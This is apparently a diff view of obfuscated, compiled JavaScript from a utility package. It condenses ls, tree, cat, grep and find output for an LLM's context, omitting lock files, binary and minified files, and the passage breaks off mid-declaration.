path=__importStar(require(a0_0x1414b7(0x22d))),LOCK_FILES=[a0_0x1414b7(0x205),a0_0x1414b7(0x20d),a0_0x1414b7(0x21c),a0_0x1414b7(0x251),a0_0x1414b7(0x253),a0_0x1414b7(0x250),a0_0x1414b7(0x241),'Gemfile.lock',a0_0x1414b7(0x23c)],BINARY_EXTENSIONS=[a0_0x1414b7(0x22b),a0_0x1414b7(0x240),a0_0x1414b7(0x20a),a0_0x1414b7(0x215),'.png',a0_0x1414b7(0x206),'.jpeg',a0_0x1414b7(0x257),a0_0x1414b7(0x220),a0_0x1414b7(0x1f3),'.webp',a0_0x1414b7(0x232),'.pdf',a0_0x1414b7(0x244),'.tar.gz',a0_0x1414b7(0x216),a0_0x1414b7(0x24b),a0_0x1414b7(0x236),'.7z',a0_0x1414b7(0x24c),a0_0x1414b7(0x242),'.dll',a0_0x1414b7(0x209),'.dylib','.bin',a0_0x1414b7(0x20c),'.sqlite',a0_0x1414b7(0x22f),a0_0x1414b7(0x24a),a0_0x1414b7(0x1f6),a0_0x1414b7(0x23b),a0_0x1414b7(0x200),a0_0x1414b7(0x225),a0_0x1414b7(0x22c),a0_0x1414b7(0x222),a0_0x1414b7(0x23e),a0_0x1414b7(0x1ee),a0_0x1414b7(0x1f5),'.mov','.webm',a0_0x1414b7(0x237),'.pyo',a0_0x1414b7(0x246),'.o',a0_0x1414b7(0x210)];function extractFilename(_0x2b8ab2){const _0x55b52f=a0_0x1414b7,_0x5a0dec=_0x2b8ab2[_0x55b52f(0x1f8)]()[_0x55b52f(0x25b)](/\s+/);for(let _0x27a7d3=0x1;_0x27a7d3<_0x5a0dec[_0x55b52f(0x233)];_0x27a7d3++){if(!_0x5a0dec[_0x27a7d3][_0x55b52f(0x1f0)]('-'))return _0x5a0dec[_0x27a7d3];}return null;}function filterLockFile(_0x336449,_0x402c4c){const _0x4e09f9=a0_0x1414b7;try{const _0x361dc2=path[_0x4e09f9(0x219)](_0x402c4c)[_0x4e09f9(0x24e)]();if(!LOCK_FILES[_0x4e09f9(0x1f9)](_0x1934d2=>_0x361dc2===_0x1934d2[_0x4e09f9(0x24e)]()))return null;const _0x36ce3=_0x336449['length'];let _0x1bbaba=0x0;if(_0x361dc2===_0x4e09f9(0x205))try{const _0x4a98b9=JSON[_0x4e09f9(0x24f)](_0x336449);_0x1bbaba=Object[_0x4e09f9(0x228)](_0x4a98b9[_0x4e09f9(0x212)]||_0x4a98b9['dependencies']||{})[_0x4e09f9(0x233)];}catch{_0x1bbaba=(_0x336449['match'](/"resolved":/g)||[])['length'];}else{if(_0x361dc2==='yarn.lock')_0x1bbaba=(_0x336449[_0x4e09f9(0x1f2)](/^"?[^#\s][^:]*:$/gm)||[])[_0x4e09f9(0x233)];else{if(_0x361dc2===_0x4e09f9(0x203)||_0x361dc2===_0x4e09f9(0x250))_0x1bbaba=(_0x336449[_0x4e09f9(0x1f2)](/\[\[package\]\]/g)||[])[_0x4e09f9(0x233)];else{if(_0x361dc2==='go.sum')_0x1bbaba=Math[_0x4e09f9(0x218)](_0x336449[_0x4e09f9(0x25b)]('\x0a')[_0x4e09f9(0x247)](_0x3402e7=>_0x3402e7['trim']())[_0x4e09f9(0x233)]/0x2);else{if(_0x361dc2===_0x4e09f9(0x241))try{_0x1bbaba=JSON[_0x4e09f9(0x24f)](_0x336449)[_0x4e09f9(0x212)]?.[_0x4e09f9(0x233)]||0x0;}catch{}else _0x361dc2==='pnpm-lock.yaml'?_0x1bbaba=(_0x336449[_0x4e09f9(0x1f2)](/^\s{2}['"@a-z]/gm)||[])['length']:_0x1bbaba=_0x336449[_0x4e09f9(0x25b)]('\x0a')['filter'](_0x161ffa=>_0x161ffa['trim']())['length'];}}}}return _0x4e09f9(0x204)+path[_0x4e09f9(0x219)](_0x402c4c)+':\x20'+_0x1bbaba+'\x20dependencies,\x20'+_0x36ce3[_0x4e09f9(0x1ff)]()+'\x20chars\x20(content\x20omitted\x20—\x20lock\x20files\x20are\x20not\x20useful\x20for\x20LLM\x20context)';}catch{return null;}}function filterBinaryOrMinified(_0x40c128,_0x1de9e8){const _0x43552c=a0_0x1414b7;try{if(_0x1de9e8){const _0x3357ae=_0x1de9e8[_0x43552c(0x24e)]();for(const _0x5df719 of BINARY_EXTENSIONS){if(_0x3357ae['endsWith'](_0x5df719))return _0x43552c(0x1fe)+path[_0x43552c(0x219)](_0x1de9e8)+',\x20'+_0x40c128[_0x43552c(0x233)][_0x43552c(0x1ff)]()+_0x43552c(0x249)+_0x5df719+_0x43552c(0x25a);}}const _0x2f1860=_0x40c128[_0x43552c(0x207)](0x0,0x3e8);let _0x325c38=0x0;for(let _0x3a844e=0x0;_0x3a844e<_0x2f1860['length'];_0x3a844e++){if(_0x2f1860[_0x43552c(0x1f1)](_0x3a844e)===0x0)_0x325c38++;}if(_0x325c38>0x0)return _0x43552c(0x256)+_0x40c128[_0x43552c(0x233)]['toLocaleString']()+_0x43552c(0x22a);let _0x2fdce7=0x0;for(let _0x3c0e34=0x0;_0x3c0e34<_0x2f1860[_0x43552c(0x233)];_0x3c0e34++){const _0x1f1a22=_0x2f1860[_0x43552c(0x1f1)](_0x3c0e34);if(_0x1f1a22<0x20&&_0x1f1a22!==0xa&&_0x1f1a22!==0xd&&_0x1f1a22!==0x9)_0x2fdce7++;}if(_0x2f1860['length']>0x64&&_0x2fdce7>_0x2f1860[_0x43552c(0x233)]*0.1)return _0x43552c(0x256)+_0x40c128[_0x43552c(0x233)]['toLocaleString']()+'\x20chars\x20(high\x20non-printable\x20ratio\x20—\x20content\x20omitted)';const _0x164113=_0x40c128['split']('\x0a');if(_0x164113[_0x43552c(0x233)]<=0x3&&_0x40c128['length']>0x1388)return'[minified\x20file]\x20'+_0x40c128[_0x43552c(0x233)][_0x43552c(0x1ff)]()+_0x43552c(0x252)+_0x164113[_0x43552c(0x233)]+'\x20line(s)\x20(content\x20omitted\x20—\x20not\x20human-readable)';return null;}catch{return null;}}function a0_0x1cd8(_0x2644ee,_0x256475){_0x2644ee=_0x2644ee-0x1ed;const _0x3fa2ae=a0_0x3fa2();let _0x1cd8d8=_0x3fa2ae[_0x2644ee];return _0x1cd8d8;}function filterJsonMinify(_0x315ae2){const _0x4add4d=a0_0x1414b7;try{const _0x1d2573=_0x315ae2[_0x4add4d(0x1f8)]();if(!_0x1d2573['startsWith']('{')&&!_0x1d2573['startsWith']('['))return null;const _0x148631=_0x1d2573[_0x4add4d(0x25b)]('\x0a');if(_0x148631['length']<=0x14)return null;const _0x4584f0=JSON[_0x4add4d(0x24f)](_0x1d2573),_0x377eaa=JSON['stringify'](_0x4584f0);if(_0x377eaa['length']<_0x1d2573[_0x4add4d(0x233)])return _0x377eaa;return null;}catch{return null;}}function filterLs(_0x9213fe){const _0x3d64c1=a0_0x1414b7,_0x3d8b81=_0x9213fe[_0x3d64c1(0x25b)]('\x0a')[_0x3d64c1(0x247)](_0x10abba=>_0x10abba[_0x3d64c1(0x1f8)]()[_0x3d64c1(0x233)]>0x0);if(_0x3d8b81[_0x3d64c1(0x233)]===0x0)return'Empty\x20directory';if(_0x3d8b81[_0x3d64c1(0x233)]<=0x1e)return _0x9213fe[_0x3d64c1(0x1f8)]();const _0x27a042=[],_0x1c6dc2=[];for(const _0x42b59b of _0x3d8b81){const _0x3921c6=_0x42b59b[_0x3d64c1(0x1f8)]();if(_0x3921c6['startsWith'](_0x3d64c1(0x23a))||_0x3921c6[_0x3d64c1(0x1f0)]('d')&&_0x3921c6[_0x3d64c1(0x255)]('..'))continue;_0x3921c6['endsWith']('/')||_0x3921c6['startsWith']('d')&&_0x3921c6['includes']('\x20')?_0x27a042[_0x3d64c1(0x1fd)](_0x3921c6):_0x1c6dc2[_0x3d64c1(0x1fd)](_0x3921c6);}const _0x623204=[];return _0x27a042['length']>0x0&&(_0x27a042[_0x3d64c1(0x233)]<=0xf?_0x623204[_0x3d64c1(0x1fd)](..._0x27a042):(_0x623204[_0x3d64c1(0x1fd)](..._0x27a042[_0x3d64c1(0x214)](0x0,0xa)),_0x623204[_0x3d64c1(0x1fd)]('...\x20+'+(_0x27a042[_0x3d64c1(0x233)]-0xa)+_0x3d64c1(0x25c)))),_0x1c6dc2[_0x3d64c1(0x233)]>0x0&&(_0x1c6dc2[_0x3d64c1(0x233)]<=0x14?_0x623204['push'](..._0x1c6dc2):(_0x623204[_0x3d64c1(0x1fd)](..._0x1c6dc2[_0x3d64c1(0x214)](0x0,0xf)),_0x623204[_0x3d64c1(0x1fd)](_0x3d64c1(0x1ef)+(_0x1c6dc2[_0x3d64c1(0x233)]-0xf)+_0x3d64c1(0x213)))),_0x623204[_0x3d64c1(0x1fd)]('\x0a('+_0x27a042['length']+_0x3d64c1(0x234)+_0x1c6dc2[_0x3d64c1(0x233)]+_0x3d64c1(0x231)),_0x623204['join']('\x0a');}function filterTree(_0x1d1fb1){const _0xfca68=a0_0x1414b7,_0x41133f=_0x1d1fb1[_0xfca68(0x25b)]('\x0a');if(_0x41133f[_0xfca68(0x233)]<=0x32)return _0x1d1fb1[_0xfca68(0x1f8)]();const _0x429eee=[];let _0x4f8ae6=0x0,_0x45b703=0x0,_0x495c65=0x0;for(const _0x2e3797 of _0x41133f){const _0x282725=_0x2e3797[_0xfca68(0x1f2)](/(\d+)\s+director/),_0x2ab5db=_0x2e3797[_0xfca68(0x1f2)](/(\d+)\s+file/);if(_0x282725)_0x495c65=parseInt(_0x282725[0x1]);if(_0x2ab5db)_0x45b703=parseInt(_0x2ab5db[0x1]);const _0x2486a1=(_0x2e3797[_0xfca68(0x1f2)](/^[│├└\s─]+/)||[''])[0x0][_0xfca68(0x233)];_0x2486a1<=0x4&&(_0x429eee[_0xfca68(0x1fd)](_0x2e3797),_0x4f8ae6++);}return _0x41133f['length']>_0x429eee['length']&&_0x429eee['push'](_0xfca68(0x20f)+_0x495c65+_0xfca68(0x234)+_0x45b703+_0xfca68(0x254)),_0x429eee[_0xfca68(0x202)]('\x0a');}function filterCat(_0x50e471,_0x106ffa=''){const _0x5b689f=a0_0x1414b7,_0x5b30af=extractFilename(_0x106ffa);try{if(_0x5b30af){const _0xfb4d8b=filterLockFile(_0x50e471,_0x5b30af);if(_0xfb4d8b)return _0xfb4d8b;}const _0x346a2a=filterBinaryOrMinified(_0x50e471,_0x5b30af);if(_0x346a2a)return _0x346a2a;const _0x21b1d4=filterJsonMinify(_0x50e471);if(_0x21b1d4)return _0x21b1d4;}catch{}const _0x5a2e02=_0x50e471[_0x5b689f(0x25b)]('\x0a');if(_0x5a2e02[_0x5b689f(0x233)]<=0x64)return _0x50e471;const _0x281724=[];return _0x281724['push'](..._0x5a2e02[_0x5b689f(0x214)](0x0,0x32)),_0x281724['push'](_0x5b689f(0x258)+(_0x5a2e02['length']-0x50)+_0x5b689f(0x224)),_0x281724[_0x5b689f(0x1fd)](..._0x5a2e02['slice'](-0x1e)),_0x281724[_0x5b689f(0x1fd)]('\x0a('+_0x5a2e02[_0x5b689f(0x233)]+'\x20lines\x20total)'),_0x281724[_0x5b689f(0x202)]('\x0a');}function filterGrep(_0x1ee0ed){const _0x5cbb63=a0_0x1414b7,_0x2c18c7=_0x1ee0ed[_0x5cbb63(0x25b)]('\x0a')['filter'](_0x4b9ecb=>_0x4b9ecb[_0x5cbb63(0x1f8)]()[_0x5cbb63(0x233)]>0x0);if(_0x2c18c7[_0x5cbb63(0x233)]===0x0)return'No\x20matches\x20found';if(_0x2c18c7[_0x5cbb63(0x233)]<=0x32)return _0x1ee0ed[_0x5cbb63(0x1f8)]();const _0x3d3d49={},_0x2d2746=[];for(const _0x29c4b4 of _0x2c18c7){const _0x253ba4=_0x29c4b4['indexOf'](':');if(_0x253ba4>0x0&&_0x253ba4<0xc8){const _0x4612e5=_0x29c4b4[_0x5cbb63(0x207)](0x0,_0x253ba4);if(_0x4612e5[_0x5cbb63(0x255)]('/')||_0x4612e5[_0x5cbb63(0x255)]('\x5c')||_0x4612e5[_0x5cbb63(0x255)]('.')){if(!_0x3d3d49[_0x4612e5])_0x3d3d49[_0x4612e5]=[];_0x3d3d49[_0x4612e5]['push'](_0x29c4b4['substring'](_0x253ba4+0x1)[_0x5cbb63(0x1f8)]());continue;}}_0x2d2746[_0x5cbb63(0x1fd)](_0x29c4b4);}const _0x4f12d9=[],_0x2caa2f=Object[_0x5cbb63(0x228)](_0x3d3d49);if(_0x2caa2f[_0x5cbb63(0x233)]>0x0){const _0x441bb1=0x14,_0x45c020=_0x2caa2f[_0x5cbb63(0x214)](0x0,_0x441bb1);for(const _0x394180 of _0x45c020){const _0x195507=_0x3d3d49[_0x394180];if(_0x195507[_0x5cbb63(0x233)]<=0x3)for(const _0x184e77 of _0x195507){_0x4f12d9[_0x5cbb63(0x1fd)](_0x394180+':\x20'+_0x184e77);}else _0x4f12d9[_0x5cbb63(0x1fd)](_0x394180+':\x20'+_0x195507[0x0]),_0x4f12d9['push'](_0x394180+':\x20...\x20('+_0x195507[_0x5cbb63(0x233)]+_0x5cbb63(0x229));}_0x2caa2f[_0x5cbb63(0x233)]>_0x441bb1&&_0x4f12d9[_0x5cbb63(0x1fd)](_0x5cbb63(0x1ef)+(_0x2caa2f[_0x5cbb63(0x233)]-_0x441bb1)+_0x5cbb63(0x1ed));}if(_0x2d2746[_0x5cbb63(0x233)]>0x0){const _0x38d637=0x1e;_0x4f12d9[_0x5cbb63(0x1fd)](..._0x2d2746[_0x5cbb63(0x214)](0x0,_0x38d637)),_0x2d2746[_0x5cbb63(0x233)]>_0x38d637&&_0x4f12d9[_0x5cbb63(0x1fd)](_0x5cbb63(0x1ef)+(_0x2d2746['length']-_0x38d637)+_0x5cbb63(0x238));}const _0x5c78f4=_0x2c18c7[_0x5cbb63(0x233)];return _0x4f12d9[_0x5cbb63(0x1fd)]('\x0a('+_0x5c78f4+_0x5cbb63(0x259)+(_0x2caa2f['length']||'?')+'\x20files)'),_0x4f12d9[_0x5cbb63(0x202)]('\x0a');}function filterFind(_0x49e358){const _0x447a21=a0_0x1414b7,_0x295016=_0x49e358[_0x447a21(0x25b)]('\x0a')[_0x447a21(0x247)](_0x2a76fd=>_0x2a76fd[_0x447a21(0x1f8)]()[_0x447a21(0x233)]>0x0);if(_0x295016[_0x447a21(0x233)]===0x0)return _0x447a21(0x248);if(_0x295016[_0x447a21(0x233)]<=0x32)return _0x49e358[_0x447a21(0x1f8)]();const _0x1a39b0={};for(const _0x5904af of _0x295016){const _0x5cd331=path[_0x447a21(0x1fa)](_0x5904af[_0x447a21(0x1f8)]())||'.';_0x1a39b0[_0x5cd331]=(_0x1a39b0[_0x5cd331]||0x0)+0x1;}const _0x4688a2=Object['entries'](_0x1a39b0)['sort']((_0x3ad1c8,_0x2c8b23)=>_0x2c8b23[0x1]-_0x3ad1c8[0x1]),_0x255ce6=[_0x295016[_0x447a21(0x233)]+'\x20files\x20found\x20across\x20'+_0x4688a2[_0x447a21(0x233)]+'\x20directories',''],_0x3b09ea=0x1e;for(const [_0x358a2e,_0x4539aa]of _0x4688a2['slice'](0x0,_0x3b09ea)){_0x255ce6[_0x447a21(0x1fd)]('\x20\x20'+_0x358a2e+_0x447a21(0x21d)+_0x4539aa+_0x447a21(0x231));}return _0x4688a2['length']>_0x3b09ea&&_0x255ce6['push'](_0x447a21(0x22e)+(_0x4688a2[_0x447a21(0x233)]-_0x3b09ea)+_0x447a21(0x25c)),_0x255ce6[_0x447a21(0x202)]('\x0a');}
|
|
1
|
+
'use strict';const a0_0x23b92a=a0_0x258f;(function(_0x55057e,_0x1ca1ea){const _0x5c1fbe=a0_0x258f,_0x132365=_0x55057e();while(!![]){try{const _0x4f4d34=-parseInt(_0x5c1fbe(0x1dd))/0x1+parseInt(_0x5c1fbe(0x1d0))/0x2+-parseInt(_0x5c1fbe(0x226))/0x3*(-parseInt(_0x5c1fbe(0x1f7))/0x4)+-parseInt(_0x5c1fbe(0x215))/0x5*(-parseInt(_0x5c1fbe(0x1d5))/0x6)+-parseInt(_0x5c1fbe(0x1c9))/0x7*(parseInt(_0x5c1fbe(0x1c2))/0x8)+-parseInt(_0x5c1fbe(0x204))/0x9+-parseInt(_0x5c1fbe(0x1f4))/0xa*(parseInt(_0x5c1fbe(0x20d))/0xb);if(_0x4f4d34===_0x1ca1ea)break;else _0x132365['push'](_0x132365['shift']());}catch(_0x280f23){_0x132365['push'](_0x132365['shift']());}}}(a0_0x7d99,0xb9d14));var __createBinding=this&&this[a0_0x23b92a(0x1da)]||(Object[a0_0x23b92a(0x1c0)]?function(_0x505213,_0x5cd45b,_0xd8289,_0x507858){const _0x5a0fe1=a0_0x23b92a;if(_0x507858===undefined)_0x507858=_0xd8289;var _0x1ca004=Object['getOwnPropertyDescriptor'](_0x5cd45b,_0xd8289);(!_0x1ca004||(_0x5a0fe1(0x1cd)in _0x1ca004?!_0x5cd45b[_0x5a0fe1(0x1db)]:_0x1ca004['writable']||_0x1ca004[_0x5a0fe1(0x1bc)]))&&(_0x1ca004={'enumerable':!![],'get':function(){return _0x5cd45b[_0xd8289];}}),Object[_0x5a0fe1(0x20b)](_0x505213,_0x507858,_0x1ca004);}:function(_0x5c222b,_0x41de8a,_0x5cc492,_0x495c61){if(_0x495c61===undefined)_0x495c61=_0x5cc492;_0x5c222b[_0x495c61]=_0x41de8a[_0x5cc492];}),__setModuleDefault=this&&this['__setModuleDefault']||(Object[a0_0x23b92a(0x1c0)]?function(_0x5bd56a,_0x5b16e6){const _0x20a73b=a0_0x23b92a;Object[_0x20a73b(0x20b)](_0x5bd56a,_0x20a73b(0x214),{'enumerable':!![],'value':_0x5b16e6});}:function(_0x4bcc08,_0x5e668d){_0x4bcc08['default']=_0x5e668d;}),__importStar=this&&this[a0_0x23b92a(0x203)]||(function(){var _0x1c2a11=function(_0x38998c){return _0x1c2a11=Object['getOwnPropertyNames']||function(_0x510b75){const _0x19a693=a0_0x258f;var _0xb8285b=[];for(var _0x2701eb in _0x510b75)if(Object['prototype']['hasOwnProperty'][_0x19a693(0x200)](_0x510b75,_0x2701eb))_0xb8285b[_0xb8285b['length']]=_0x2701eb;return _0xb8285b;},_0x1c2a11(_0x38998c);};return function(_0x3e0fd7){const _0x4c0f10=a0_0x258f;if(_0x3e0fd7&&_0x3e0fd7[_0x4c0f10(0x1db)])return _0x3e0fd7;var _0x2d87e6={};if(_0x3e0fd7!=null){for(var _0x2d6763=_0x1c2a11(_0x3e0fd7),_0x494c17=0x0;_0x494c17<_0x2d6763[_0x4c0f10(0x1be)];_0x494c17++)if(_0x2d6763[_0x494c17]!==_0x4c0f10(0x214))__createBinding(_0x2d87e6,_0x3e0fd7,_0x2d6763[_0x494c17]);}return __setModuleDefault(_0x2d87e6,_0x3e0fd7),_0x2d87e6;};}());Object[a0_0x23b92a(0x20b)](exports,'__esModule',{'value':!![]}),exports[a0_0x23b92a(0x1e8)]=filterLs,exports['filterTree']=filterTree,exports['filterCat']=filterCat,exports[a0_0x23b92a(0x223)]=filterGrep,exports[a0_0x23b92a(0x1f3)]=filterFind;function a0_0x7d99(){const _0x2c70c1=['.mov','yarn.lock','filter','endsWith','indexOf','total\x20','\x20chars,\x20type:\x20','filterGrep','trim','Gemfile.lock','12hNevqG','split','toLowerCase','[minified\x20file]\x20','\x20chars\x20(content\x20omitted\x20—\x20lock\x20files\x20are\x20not\x20useful\x20for\x20LLM\x20context)','packages','.bmp','pnpm-lock.yaml','.sqlite','configurable','sort','length','Cargo.lock','create','dirname','2562792LgDZnQ','entries','.webm','join','.obj','\x20chars\x20across\x20','keys','14PdQCpS','includes','\x20(content\x20omitted\x20—\x20not\x20useful\x20for\x20LLM\x20context)','\x20matches\x20across\x20','get','bun.lockb','\x20directories','1119862NPWMzX','Empty\x20directory','dependencies','.ico','basename','2334hmECSc','\x20more\x20files','.map','.min.js','\x20directories,\x20','__createBinding','__esModule','.bin','205829nsXooJ','.bz2','\x20dependencies,\x20','go.sum','package-lock.json','\x20chars\x20(contains\x20null\x20bytes\x20—\x20binary\x20content\x20omitted)','.tgz','\x20more\x20matches','.sqlite3','.dylib','.pyc','filterLs','\x20line(s)\x20(content\x20omitted\x20—\x20not\x20human-readable)','...\x20+','.pyo','\x20more\x20files\x20with\x20matches','.rar','charCodeAt','composer.lock','.wasm','[binary\x20file]\x20','\x20\x20...\x20+','filterFind','227930gFKDAf','toLocaleString','.jpg','504844wtnAFl','floor','.mp3','cargo.lock','.dat','.jpeg','.gif','substring','\x20files)','call','startsWith','poetry.lock','__importStar','656559vgaHJv','parse','.png','.tar.gz','[lock\x20file]\x20','push','some','defineProperty','\x0a...\x20[','110UsLTCb','\x20matches\x20in\x20this\x20file)','\x0a...\x20(','match','[binary/minified\x20file]\x20','.7z','/\x20(','default','10845IdCPvL','\x20more\x20directories','.mp4','.avi','slice','.db','.gz'];a0_0x7d99=function(){return _0x2c70c1;};return a0_0x7d99();}const path=__importStar(require('path')),LOCK_FILES=[a0_0x23b92a(0x1e1),a0_0x23b92a(0x21d),'pnpm-lock.yaml',a0_0x23b92a(0x1bf),a0_0x23b92a(0x1e0),a0_0x23b92a(0x202),'composer.lock',a0_0x23b92a(0x225),a0_0x23b92a(0x1ce)],BINARY_EXTENSIONS=[a0_0x23b92a(0x1d8),'.min.css',a0_0x23b92a(0x1d7),a0_0x23b92a(0x1f0),a0_0x23b92a(0x206),a0_0x23b92a(0x1f6),a0_0x23b92a(0x1fc),a0_0x23b92a(0x1fd),a0_0x23b92a(0x1d3),a0_0x23b92a(0x1b9),'.webp','.svg','.pdf','.zip',a0_0x23b92a(0x207),a0_0x23b92a(0x1e3),a0_0x23b92a(0x21b),a0_0x23b92a(0x1de),a0_0x23b92a(0x212),a0_0x23b92a(0x1ed),'.exe','.dll','.so',a0_0x23b92a(0x1e6),a0_0x23b92a(0x1dc),a0_0x23b92a(0x1fb),a0_0x23b92a(0x1bb),a0_0x23b92a(0x21a),a0_0x23b92a(0x1e5),'.woff','.woff2','.ttf','.eot','.otf',a0_0x23b92a(0x1f9),a0_0x23b92a(0x217),'.wav',a0_0x23b92a(0x218),a0_0x23b92a(0x21c),a0_0x23b92a(0x1c4),a0_0x23b92a(0x1e7),a0_0x23b92a(0x1eb),'.class','.o',a0_0x23b92a(0x1c6)];function extractFilename(_0x48648){const _0x283ded=a0_0x23b92a,_0x1d4e9b=_0x48648[_0x283ded(0x224)]()[_0x283ded(0x227)](/\s+/);for(let _0x55db97=0x1;_0x55db97<_0x1d4e9b[_0x283ded(0x1be)];_0x55db97++){if(!_0x1d4e9b[_0x55db97][_0x283ded(0x201)]('-'))return _0x1d4e9b[_0x55db97];}return null;}function a0_0x258f(_0x5bf774,_0x452e18){_0x5bf774=_0x5bf774-0x1b9;const _0x7d99ac=a0_0x7d99();let _0x258f38=_0x7d99ac[_0x5bf774];return _0x258f38;}function filterLockFile(_0xb8753f,_0x42a98c){const _0x4afca4=a0_0x23b92a;try{const _0xbd928a=path['basename'](_0x42a98c)[_0x4afca4(0x228)]();if(!LOCK_FILES[_0x4afca4(0x20a)](_0x2b2186=>_0xbd928a===_0x2b2186[_0x4afca4(0x228)]()))return null;const _0x46438b=_0xb8753f['length'];let _0xbf8ffe=0x0;if(_0xbd928a===_0x4afca4(0x1e1))try{const _0x2e987a=JSON[_0x4afca4(0x205)](_0xb8753f);_0xbf8ffe=Object[_0x4afca4(0x1c8)](_0x2e987a['packages']||_0x2e987a[_0x4afca4(0x1d2)]||{})[_0x4afca4(0x1be)];}catch{_0xbf8ffe=(_0xb8753f[_0x4afca4(0x210)](/"resolved":/g)||[])[_0x4afca4(0x1be)];}else{if(_0xbd928a===_0x4afca4(0x21d))_0xbf8ffe=(_0xb8753f[_0x4afca4(0x210)](/^"?[^#\s][^:]*:$/gm)||[])[_0x4afca4(0x1be)];else{if(_0xbd928a===_0x4afca4(0x1fa)||_0xbd928a===_0x4afca4(0x202))_0xbf8ffe=(_0xb8753f[_0x4afca4(0x210)](/\[\[package\]\]/g)||[])[_0x4afca4(0x1be)];else{if(_0xbd928a===_0x4afca4(0x1e0))_0xbf8ffe=Math[_0x4afca4(0x1f8)](_0xb8753f[_0x4afca4(0x227)]('\x0a')[_0x4afca4(0x21e)](_0x4e51e2=>_0x4e51e2['trim']())['length']/0x2);else{if(_0xbd928a===_0x4afca4(0x1ef))try{_0xbf8ffe=JSON[_0x4afca4(0x205)](_0xb8753f)[_0x4afca4(0x22b)]?.[_0x4afca4(0x1be)]||0x0;}catch{}else _0xbd928a===_0x4afca4(0x1ba)?_0xbf8ffe=(_0xb8753f[_0x4afca4(0x210)](/^\s{2}['"@a-z]/gm)||[])['length']:_0xbf8ffe=_0xb8753f[_0x4afca4(0x227)]('\x0a')[_0x4afca4(0x21e)](_0x4cc7a7=>_0x4cc7a7['trim']())[_0x4afca4(0x1be)];}}}}return _0x4afca4(0x208)+path['basename'](_0x42a98c)+':\x20'+_0xbf8ffe+_0x4afca4(0x1df)+_0x46438b[_0x4afca4(0x1f5)]()+_0x4afca4(0x22a);}catch{return null;}}function filterBinaryOrMinified(_0x145588,_0x30874d){const _0x3281bc=a0_0x23b92a;try{if(_0x30874d){const _0xdd02b2=_0x30874d[_0x3281bc(0x228)]();for(const _0x55c568 of BINARY_EXTENSIONS){if(_0xdd02b2[_0x3281bc(0x21f)](_0x55c568))return _0x3281bc(0x211)+path[_0x3281bc(0x1d4)](_0x30874d)+',\x20'+_0x145588[_0x3281bc(0x1be)][_0x3281bc(0x1f5)]()+_0x3281bc(0x222)+_0x55c568+_0x3281bc(0x1cb);}}const _0x4f68c2=_0x145588['substring'](0x0,0x3e8);let _0x230ccd=0x0;for(let _0x12a290=0x0;_0x12a290<_0x4f68c2[_0x3281bc(0x1be)];_0x12a290++){if(_0x4f68c2[_0x3281bc(0x1ee)](_0x12a290)===0x0)_0x230ccd++;}if(_0x230ccd>0x0)return _0x3281bc(0x1f1)+_0x145588[_0x3281bc(0x1be)][_0x3281bc(0x1f5)]()+_0x3281bc(0x1e2);let _0x3f9bfb=0x0;for(let _0x37a244=0x0;_0x37a244<_0x4f68c2['length'];_0x37a244++){const _0x14df49=_0x4f68c2['charCodeAt'](_0x37a244);if(_0x14df49<0x20&&_0x14df49!==0xa&&_0x14df49!==0xd&&_0x14df49!==0x9)_0x3f9bfb++;}if(_0x4f68c2[_0x3281bc(0x1be)]>0x64&&_0x3f9bfb>_0x4f68c2[_0x3281bc(0x1be)]*0.1)return _0x3281bc(0x1f1)+_0x145588[_0x3281bc(0x1be)]['toLocaleString']()+'\x20chars\x20(high\x20non-printable\x20ratio\x20—\x20content\x20omitted)';const _0x513c98=_0x145588['split']('\x0a');if(_0x513c98[_0x3281bc(0x1be)]<=0x3&&_0x145588[_0x3281bc(0x1be)]>0x1388)return _0x3281bc(0x229)+_0x145588[_0x3281bc(0x1be)][_0x3281bc(0x1f5)]()+_0x3281bc(0x1c7)+_0x513c98[_0x3281bc(0x1be)]+_0x3281bc(0x1e9);return null;}catch{return null;}}function filterJsonMinify(_0xa99b68){const _0xa0087a=a0_0x23b92a;try{const _0xa34217=_0xa99b68[_0xa0087a(0x224)]();if(!_0xa34217[_0xa0087a(0x201)]('{')&&!_0xa34217[_0xa0087a(0x201)]('['))return null;const _0x52411f=_0xa34217[_0xa0087a(0x227)]('\x0a');if(_0x52411f[_0xa0087a(0x1be)]<=0x14)return null;const _0x33954b=JSON[_0xa0087a(0x205)](_0xa34217),_0x3e4c67=JSON['stringify'](_0x33954b);if(_0x3e4c67[_0xa0087a(0x1be)]<_0xa34217['length'])return _0x3e4c67;return null;}catch{return null;}}function filterLs(_0x2ce5cb){const _0x1e297a=a0_0x23b92a,_0x2b5bf8=_0x2ce5cb[_0x1e297a(0x227)]('\x0a')[_0x1e297a(0x21e)](_0x3771b2=>_0x3771b2[_0x1e297a(0x224)]()[_0x1e297a(0x1be)]>0x0);if(_0x2b5bf8[_0x1e297a(0x1be)]===0x0)return _0x1e297a(0x1d1);if(_0x2b5bf8['length']<=0x1e)return _0x2ce5cb[_0x1e297a(0x224)]();const _0x12daac=[],_0x28a5a0=[];for(const _0x4eb671 of _0x2b5bf8){const _0x42e335=_0x4eb671[_0x1e297a(0x224)]();if(_0x42e335[_0x1e297a(0x201)](_0x1e297a(0x221))||_0x42e335[_0x1e297a(0x201)]('d')&&_0x42e335[_0x1e297a(0x1ca)]('..'))continue;_0x42e335[_0x1e297a(0x21f)]('/')||_0x42e335[_0x1e297a(0x201)]('d')&&_0x42e335[_0x1e297a(0x1ca)]('\x20')?_0x12daac['push'](_0x42e335):_0x28a5a0[_0x1e297a(0x209)](_0x42e335);}const _0x76c9dc=[];return _0x12daac[_0x1e297a(0x1be)]>0x0&&(_0x12daac[_0x1e297a(0x1be)]<=0xf?_0x76c9dc[_0x1e297a(0x209)](..._0x12daac):(_0x76c9dc['push'](..._0x12daac[_0x1e297a(0x219)](0x0,0xa)),_0x76c9dc[_0x1e297a(0x209)](_0x1e297a(0x1ea)+(_0x12daac[_0x1e297a(0x1be)]-0xa)+_0x1e297a(0x216)))),_0x28a5a0[_0x1e297a(0x1be)]>0x0&&(_0x28a5a0[_0x1e297a(0x1be)]<=0x14?_0x76c9dc[_0x1e297a(0x209)](..._0x28a5a0):(_0x76c9dc[_0x1e297a(0x209)](..._0x28a5a0[_0x1e297a(0x219)](0x0,0xf)),_0x76c9dc['push'](_0x1e297a(0x1ea)+(_0x28a5a0[_0x1e297a(0x1be)]-0xf)+_0x1e297a(0x1d6)))),_0x76c9dc[_0x1e297a(0x209)]('\x0a('+_0x12daac[_0x1e297a(0x1be)]+_0x1e297a(0x1d9)+_0x28a5a0[_0x1e297a(0x1be)]+_0x1e297a(0x1ff)),_0x76c9dc[_0x1e297a(0x1c5)]('\x0a');}function 